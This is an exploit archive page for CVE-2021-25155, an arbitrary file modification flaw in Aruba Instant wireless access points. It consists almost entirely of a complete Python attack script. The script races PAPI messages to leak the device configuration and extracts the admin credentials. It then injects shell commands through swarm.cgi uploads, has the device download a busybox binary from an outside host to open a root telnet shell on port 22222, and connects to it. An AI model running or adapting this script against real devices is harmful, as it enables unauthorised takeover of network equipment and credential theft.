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Aruba Instant 8.7.1.0 Arbitrary File Modification

Aruba Instant 8.7.1.0 Arbitrary File Modification
Posted Jul 16, 2021
Authored by Gr33nh4t

Aruba Instant version 8.7.1.0 arbitrary file modification exploit.

tags | exploit, arbitrary
advisories | CVE-2021-25155
SHA-256 | e37cd187b9f56c74b370e860dd162c82acc1776aed35901dc553e0765d82fc9b

Aruba Instant 8.7.1.0 Arbitrary File Modification

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# Exploit Title: Aruba Instant 8.7.1.0 - Arbitrary File Modification
# Date: 15/07/2021
# Exploit Author: Gr33nh4t
# Vendor Homepage: https://www.arubanetworks.com/
# Version:
# Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below
# Aruba Instant 6.5.x: 6.5.4.18 and below
# Aruba Instant 8.3.x: 8.3.0.14 and below
# Aruba Instant 8.5.x: 8.5.0.11 and below
# Aruba Instant 8.6.x: 8.6.0.6 and below
# Aruba Instant 8.7.x: 8.7.1.0 and below
# Tested on: Aruba Instant
# CVE : CVE-2021-25155

import socket
import sys
import struct
import time
import threading
import urllib3
import re
import telnetlib
import xml.etree.ElementTree as ET
import requests

urllib3.disable_warnings()

CONTINUE_RACE = True
SNPRINTF_CREATEFILE_MAX_LENGTH = 245


def race_papi_message(ip):

global CONTINUE_RACE

payload = b"\x49\x72"
payload += b"\x00\x03"
payload += b"\x7F\x00\x00\x01"
payload += b"\x7F\x00\x00\x01"
payload += b"\x00\x00"
payload += b"\x00\x00"
payload += b"\x3B\x7E"
payload += b"\x41\x41"
payload += b"\x04\x22"
payload += b"\x00\x00"
payload += b"\x02\x00"
payload += b"\x00\x00"
payload += b"\x00" * 12 * 4
text_to_send = bytes()
for i in "msg_ref 3000 /tmp/cfg-plaintext\x00":
text_to_send += struct.pack("B", int(ord(i)) ^ 0x93)

packet = payload + text_to_send

while CONTINUE_RACE:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect((ip, 8211))
s.send(packet)
s.close()
time.sleep(0.004)


def find_credentials(text):
res = re.search("mgmt-user .*", text)[0]
res = res.split(" ")
return (res[1], res[2])


def login(ip, username, password):
login_data = {
"opcode": "login",
"user": username,
"passwd": password,
"refresh": "false",
}
res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=login_data, verify=False)

root = ET.fromstring(res.text)
return root.find("./data[@name='sid']").text


def create_directory(ip, sid):
request_data = "opcode=config&ip=127.0.0.1&cmd='end%20%0Aapply%20cplogo-install%20\"https://{ip}:4343/%09--directory-prefix%09/tmp/oper_/%09#\"'&refresh=false&sid={sid}&nocache=0.23759201691110987&=".format(ip=ip, sid=sid)
res = requests.post("https://{}:4343/swarm.cgi".format(ip), data=request_data, verify=False)
if "/tmp/oper_" in res.text:
print("[+] Successfully created /tmp/oper_/ directory :)")
return True
else:
print("[-] Failed creating /tmp/oper_/ directory")
return False


def prepare_upload_id(command):
base_payload = "/../../etc/httpd/"
cmd_len = len(command)
padding_len = SNPRINTF_CREATEFILE_MAX_LENGTH - cmd_len - len(base_payload) - 8 # for the .gz at the end and the '; + spaces
if padding_len < 0:
print("[-] Command too long length:{}".format(padding_len))
exit(1)
return base_payload + ('/' * (padding_len - 1)) + 'A' + "'; {} #.gz".format(command)


def create_file(ip, command):
upload_id = prepare_upload_id(command)
requests.post("https://{}:4343/swarm.cgi".format(ip), data={"opcode": "cp-upload", "file_type": "logo", "upload_id": upload_id, "sid": "basdfbsfbsfb"}, files={"file": "test2"}, verify=False)


def run_command(ip, command):
print("[*] Executing telnet")
command = command.replace("?", "%3F")
command = command.replace("#", "\\\\x23")
s = requests.Session()
req = requests.Request('GET', "https://{}:4343/A';%20{}%20%23".format(ip, command))
prep = req.prepare()
response = s.send(prep, verify=False)
return response.text

def build_command(command):
command = command.replace("/", "\\\\x2F")
command = command.replace("#", "\\\\x23")
command = command.replace("\"", "\\\"")
command = command.replace("`", "\`")
final_command = "echo -e \"{}\"|sh".format(command)
return final_command

def telnet_connect(router_ip):
print("[*] Connecting to telnet")
with telnetlib.Telnet(router_ip, 22222) as tn:
tn.write(b"rm /etc/httpd/A*sh*.gz\n")
tn.interact()


def main():

global CONTINUE_RACE

ip = sys.argv[1]

print("[*] Starting the PAPI race thread")
papi_thread = threading.Thread(target=race_papi_message, args=(ip, ))
papi_thread.start()

while CONTINUE_RACE:
time.sleep(0.1)
res = requests.get("https://{}:4343/swarm.cgi?opcode=single_signon&key=AAAA&ip=%20127.0.0.1".format(ip), timeout=3, verify=False)
if "version" in res.text:
print("[+] Successfully leaked the password from config")
CONTINUE_RACE = False

file_content = re.findall("var SESSION_ID = '(.*?)';", res.text, re.S)[0]
user, password = find_credentials(file_content)

print("[+] Successfully extracted username: {} and password: {}".format(user, password))
sid = login(ip, user, password)
print("[*] SID generated: {}".format(sid))

command = """cd /tmp;/usr/sbin/wget https://busybox.net/downloads/binaries/1.21.1/busybox-armv5l --no-check-certificate -O telnetd;chmod +x telnetd;./telnetd -p 22222 -l sh"""
final_command = build_command(command)

if not create_directory(ip, sid):
return

print("[*] Creating malicious file in /etc/httpd/")
create_file(ip, final_command)
print(run_command(ip, final_command))
time.sleep(1) # Sleeping waiting for telnet.
telnet_connect(ip)


if __name__ == "__main__":
main()

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